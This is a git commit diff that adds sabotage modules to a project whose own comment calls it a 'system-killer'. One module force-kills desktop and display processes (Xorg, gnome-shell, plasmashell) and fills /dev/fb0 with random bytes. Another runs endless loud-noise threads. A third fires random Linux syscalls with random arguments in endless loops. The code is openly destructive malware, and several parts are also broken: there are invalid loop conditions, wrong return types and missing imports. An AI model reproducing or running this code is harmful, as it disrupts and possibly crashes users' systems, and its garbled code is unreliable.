summaryrefslogtreecommitdiff
path: root/src/non_critical
diff options
context:
space:
mode:
Diffstat (limited to 'src/non_critical')
-rw-r--r--src/non_critical/_tools.c44
-rw-r--r--src/non_critical/_tools.h5
-rw-r--r--src/non_critical/gui_destroyer.rs34
-rw-r--r--src/non_critical/random_sounds.c34
-rw-r--r--src/non_critical/random_sounds.h4
-rw-r--r--src/non_critical/syscall_storm.c44
-rw-r--r--src/non_critical/syscall_storm.h4
7 files changed, 169 insertions, 0 deletions
diff --git a/src/non_critical/_tools.c b/src/non_critical/_tools.c
new file mode 100644
index 0000000..8c69d78
--- /dev/null
+++ b/src/non_critical/_tools.c
@@ -0,0 +1,44 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <string.h>
+
+int check_root() {
+ if(getuid() == 0) {
+ return 1;
+ }
+ return 0;
+}
+
+int check_pid(int pid) {
+ if(getpid() == pid) {
+ return 1;
+ }
+ return 0;
+}
+
+
+char* get_os_name() {
+ FILE* file = fopen("/etc/os-release", "r");
+ if (file == NULL) {
+ perror("fopen");
+ return NULL;
+ }
+
+ char line[256];
+ while (fgets(line, sizeof(line), file)) {
+ char* name = strstr(line, "NAME=");
+ if (name != NULL) {
+ name += 5; // skip "NAME="
+ char* end = strchr(name, '\n');
+ if (end != NULL) {
+ *end = '\0';
+ }
+ return name;
+ }
+ }
+
+ fclose(file);
+ return NULL;
+} \ No newline at end of file
diff --git a/src/non_critical/_tools.h b/src/non_critical/_tools.h
new file mode 100644
index 0000000..e56b194
--- /dev/null
+++ b/src/non_critical/_tools.h
@@ -0,0 +1,5 @@
+#pragma once
+
+int check_root();
+int check_pid();
+char* get_os_name();
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs
new file mode 100644
index 0000000..a7d1c75
--- /dev/null
+++ b/src/non_critical/gui_destroyer.rs
@@ -0,0 +1,34 @@
+#![no_main]
+use std::process;
+use std::io::Error;
+use rand::{Rng, thread_rng};
+
+extern "C" {
+ fn check_root() -> i32;
+}
+
+// Pfff its to light for this project, but why not
+fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> {
+ std::process::Command::new("pkill")
+ .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"])
+ //TODO: Add more process names of the processes you want to kill
+ .spawn().unwrap();
+
+ if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){
+ let mut rng = rand::thread_rng();
+ for _ in 0..1000 {
+ let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect();
+ let _ = fb.write(&garbage);
+ }
+ }
+}
+
+
+fn init() -> Result<(), std::io::Error> {
+ if check_root() == 0 {
+ artifacts_and_kill(true)
+ } else {
+ artifacts_and_kill(false)
+ }
+}
+
diff --git a/src/non_critical/random_sounds.c b/src/non_critical/random_sounds.c
new file mode 100644
index 0000000..315c992
--- /dev/null
+++ b/src/non_critical/random_sounds.c
@@ -0,0 +1,34 @@
+#include <alsa/asoundlib.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <pthread.h>
+
+#define MAX_THREADS 5
+
+pthread_t THRS[MAX_THREADS];
+
+static void* audio_hell() {
+ snd_pcm_t *pcm_handle;
+ snd_pcm_open(&pcm_handle, "default", SND_PCM_STREAM_PLAYBACK, 0);
+
+ int16_t buffer[4410];
+ for(int i = 0; i < 4410; i++) {
+ buffer[i] = rand() % 65536 - 32768;
+ }
+
+ while(1) {
+ snd_pcm_writei(pcm_handle, buffer, 4410);
+ }
+}
+
+int init(int threads, int time) {
+ for(int i = 0; i < MAX_THREADS; i++) {
+ pthread_create(&THRS[i], NULL, audio_hell, NULL);
+ }
+}
+
+void stop() {
+ for(int i = 0; i < MAX_THREADS; i++) {
+ pthread_cancel(THRS[i]);
+ }
+} \ No newline at end of file
diff --git a/src/non_critical/random_sounds.h b/src/non_critical/random_sounds.h
new file mode 100644
index 0000000..227935b
--- /dev/null
+++ b/src/non_critical/random_sounds.h
@@ -0,0 +1,4 @@
+#pragma once
+
+int init(int threads, int time);
+void stop(); \ No newline at end of file
diff --git a/src/non_critical/syscall_storm.c b/src/non_critical/syscall_storm.c
new file mode 100644
index 0000000..bfe7dde
--- /dev/null
+++ b/src/non_critical/syscall_storm.c
@@ -0,0 +1,44 @@
+#define _GNU_SOURCE
+#define MAX_THREADS 5
+
+#include <sys/syscall.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <stdio.h>
+
+pthread_t THRS[MAX_THREADS];
+
+
+static void* syscall_storm_linux(void* iterations) {
+ while(1) {
+ for(int i = 0; 1 < iterations; i++) {
+ syscall(rand() % 400, rand() / rand());
+ printf("%d. Called rand(), from thread %d", i);
+ }
+}
+}
+
+int init(int threads, int iterations) {
+ if (threads > 5) {
+ printf("ERR: Max treads 5, %d required", threads);
+ return NULL;
+ }
+
+ for(int i = 0; i < MAX_THREADS; i++) {
+ int thread_args[i] = i;
+ if (pthread_create(&THRS[i], NULL, syscall_storm_linux, thread_args) != 0) {
+ printf("ERR: Could not create thread %d", i);
+ return NULL;
+ }
+ };
+}
+
+void stop() {
+ for(int i = 0; i < MAX_THREADS; i++) {
+ pthread_cancel(THRS[i]);
+ }
+}
+
+//TODO: Fix this and create random shit-syscall chooser. Maximaly shitcoded!!! Its system-killer, not a default program
+//TODO: Add support for other *NIXes \ No newline at end of file
diff --git a/src/non_critical/syscall_storm.h b/src/non_critical/syscall_storm.h
new file mode 100644
index 0000000..6535f3a
--- /dev/null
+++ b/src/non_critical/syscall_storm.h
@@ -0,0 +1,4 @@
+#pragma once
+
+int init(int threads, int iterations);
+void stop(); \ No newline at end of file